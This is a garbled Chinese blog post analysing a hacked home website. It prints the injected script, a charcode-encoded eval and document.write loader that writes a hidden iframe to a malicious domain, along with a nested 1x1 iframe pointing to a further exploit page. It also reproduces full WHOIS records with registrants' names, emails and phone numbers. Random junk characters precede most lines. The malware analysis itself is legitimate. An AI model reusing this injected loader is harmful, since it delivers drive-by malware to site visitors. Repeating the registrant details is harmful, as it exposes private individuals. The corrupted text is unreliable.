首发在我的博客里面，
w<9rTHG8, .==D?#bn http://www.areway.cn/?p=175 !J7`frv"( z(\a JW [{7#IZL 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
_<S!tW st RM *. <script>t=’60,105,102,114,97,109,101,
!zE{`H a~ 32,115,114,99,61,104,116,116,112,58,47,47,
yLC[-.H 102,114,101,101,46,117,45,117,117,117,46,99,
|o5eG>< 110,47,101,114,114,111,114,46,104,116,109,
[inlxJD 32,119,105,100,116,104,61,49,48,48,32,104,
}n9 (|i+ 101,105,103,104,116,61,48,62,60,47,105,102,
N!K%aH~O 114,97,109,101,62′;
J p=qPG| t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
?J:w,,4m <[db)r~c <script>t=’60,105,102,114,97,109,101,32,115,
"h+Z [h6T 114,99,61,104,116,116,112,58,47,47,102,114,
&O' W+4FAc 101,101,46,117,45,117,117,117,46,99,110,47,
s/"bH3Ob9v 101,114,114,111,114,46,104,116,109,32,119,
Uc
tlE>X` 105,100,116,104,61,49,48,48,32,104,101,105,
D^[ l~K 103,104,116,61,48,62,60,47,105,102,114,97,
0/Q_%
: 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
\jC) ;mk document.write(t);</script>
%OB W/Ti 0<m7:D
Gd <html xmlns=”
& BPYlfB1 http://www.w3.org/1999/xhtml d1D
f` “>
<<
6 GE <head>
Cf[tNq <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
A^OwT#
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
c]9g f\WW <title>首页 - 爱生活家庭网
Zy(i_B-b V"#0\ |]m 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
=7Ud-5c 转换字符串后的大概内容是（谁点击后果自付）：
gnp.!- <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
c-$r B_t+ {lds?AuK 查询玉米u-uuu.cn的详细信息：
agUdI_'~@9 Domain Name: u-uuu.cn
^)dsi ROID: 20070901s10001s64972306-cn
CPJ <A,V Domain Status: ok
doanTF4Da Registrant Organization: 王雷
5eTA] Registrant Name: 王雷
%L.S~dN 6 Administrative Email:
czlovexs@126.com Ux_ tzd0!
Sponsoring Registrar: 北京万网志成科技有限公司
|Rf j
0+ Name Server:ns.yovole.com
jW: 7PS Name Server:ns1.yovole.com
:4{
`c.S Registration Date: 2007-09-01 17:54
E/: U,u{ Expiration Date: 2008-09-01 17:54
| #yu 最后PING了一下地址 都没有什么….
if'=W6W kORWj< 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
/!Rva" <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
2| , $#V= <script language=”javascript” src=”
nd' D0<% http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script p.W7>o,[w >
oywiX@]~7 这个玉米应该有可能是木马作者的：
[piK"N foafau.info的详细信息：
!4p{ b f Access to INFO WHOIS information is provided to assist persons in
Kki(A 4;7F determining the contents of a domain name registration record in the
JT
7WZc) Afilias registry database. The data in this record is provided by
j
e\!0{ Afilias Limited for informational purposes only, and Afilias does not
$>/d)o guarantee its accuracy. This service is intended only for query-based
H(^Eh v> access. You agree that you will use this data only for lawful purposes
_`?0w#> 0 and that, under no circumstances will you use this data to: (a) allow,
:qo[@ x{ enable, or otherwise support the transmission by e-mail, telephone, or
tiZ H;t';< facsimile of mass unsolicited, commercial advertising or solicitations
=IL\T8y09 to entities other than the data recipient’s own existing customers; or
1GN^ui a7 (b) enable high volume, automated, electronic processes that send
[Hx}#Kds queries or data to the systems of Registry Operator, a Registrar, or
!RKuEg4hQ Afilias except as reasonably necessary to register domain names or
3 /RwCtc modify existing registrations. All rights reserved. Afilias reserves
;#Po}8Y= the right to modify these terms at any time. By submitting this query,
?T/4
= you agree to abide by this policy.
k 4s V6f Domain ID:D22418703-LRMS
^2'Y=g> Domain Name:FOAFAU.INFO
<f7 O3 > Created On:20-Nov-2007 16:05:42 UTC
.BP d06y Last Updated On:20-Nov-2007 16:05:44 UTC
&kb~N- Expiration Date:20-Nov-2008 16:05:42 UTC
gvc@q`_] Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
g clj:7U Status:CLIENT DELETE PROHIBITED
|<{SSA Status:CLIENT RENEW PROHIBITED
goR_\b
SU Status:CLIENT TRANSFER PROHIBITED
6m&GN4Ca Status:CLIENT UPDATE PROHIBITED
(U 'n1s/X Status:TRANSFER PROHIBITED
12^uu)6Xm, Registrant ID:GODA-040110615
<Y)14w% Registrant Name:liu hong
oywPPVxj Registrant Organization:
v/ry" W Registrant Street1:beijing
7@{%S~T N Registrant Street2:
^JY {< Registrant Street3:
!{l% 3'2 Registrant City:beijing
U 4d7-&U Registrant State/Province:
dC6>&@
VX Registrant Postal Code:100000
I!/EQO| Registrant Country:CN
%E%=Za Registrant Phone:+86.860108888777
.w4| $.H Registrant Phone Ext.:
z_'^=9m Registrant FAX:
n~lB } Registrant FAX Ext.:
_h1bVd- Registrant Email:bbbshiji@163.com
Sj ovL@X Admin ID:GODA-240110615
@JSWqi> Admin Name:liu hong
( %7V Admin Organization:
?h `,@~ 6u Admin Street1:beijing
>9w^C1" Admin Street2:
0s`6d; Admin Street3:
o*$Ki D Admin City:beijing
nDn+lWA=g Admin State/Province:
gxhp7c182 Admin Postal Code:100000
C6gSj1 Admin Country:CN
6O/ L~Z*t Admin Phone:+86.860108888777
~;(\a@ _ Admin Phone Ext.:
cEHpa%_5 Admin FAX:
IEm?'o: Admin FAX Ext.:
u/W{JPlL Admin Email:bbbshiji@163.com
R V#w 0 r Billing ID:GODA-340110615
7b1
yF,N Billing Name:liu hong
:+ YHj )mN Billing Organization:
TD\TVK3P Billing Street1:beijing
.EhC\QpP Billing Street2:
f?Ex$gn I Billing Street3:
2@(+l*.Q Billing City:beijing
*c#DB{N Billing State/Province:
|e8A)xM]wC Billing Postal Code:100000
U,b80%k: Billing Country:CN
vT5GUO{5 Billing Phone:+86.860108888777
]Z[3 \~? Billing Phone Ext.:
bN?*p($/ Billing FAX:
y6am(ugE Billing FAX Ext.:
Gh_5$@ hF Billing Email:bbbshiji@163.com
!o|
ex+z; Tech ID:GODA-140110615
J|xXo Tech Name:liu hong
>0kL9_9{ Tech Organization:
<2* +Y|Lk2 Tech Street1:beijing
23LG)or.JC Tech Street2:
K;/f?3q Tech Street3:
BSS4} qyS Tech City:beijing
#N T~GhWFf Tech State/Province:
LEKE+775 Tech Postal Code:100000
a3A-N] ;f Tech Country:CN
C^C'! Tech Phone:+86.860108888777
+
o< 7* Tech Phone Ext.:
p!DdX Tech FAX:
~R LjL" Tech FAX Ext.:
pe[ huYE Tech Email:bbbshiji@163.com
{{A=^rr%C Name Server:NS27.DOMAINCONTROL.COM
[GyPwb- Name Server:NS28.DOMAINCONTROL.COM
]@SEOc@ j Name Server:
1q'_J?Xmd Name Server:
s,-<P1}/ Name Server:
VIWH~UR)&! Name Server:
~ DLxIe Name Server:
r(]G d`] Name Server:
U;&s=M0 [ Name Server:
;Qd'G7+ Name Server:
H"+|n2E^ Name Server:
/_<_X
7 Name Server:
"% \ y$ Name Server:
j.Y!E<e4] =[4C[s 接着下载每个文件里面的代码：
z@[n?t!7k 一步一步看..
*mWS+xcU(L 
!OV+2suu1 
f p Nq 
2wU,k(F_ 
D{ ]w + 
"`K73M,c?9 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
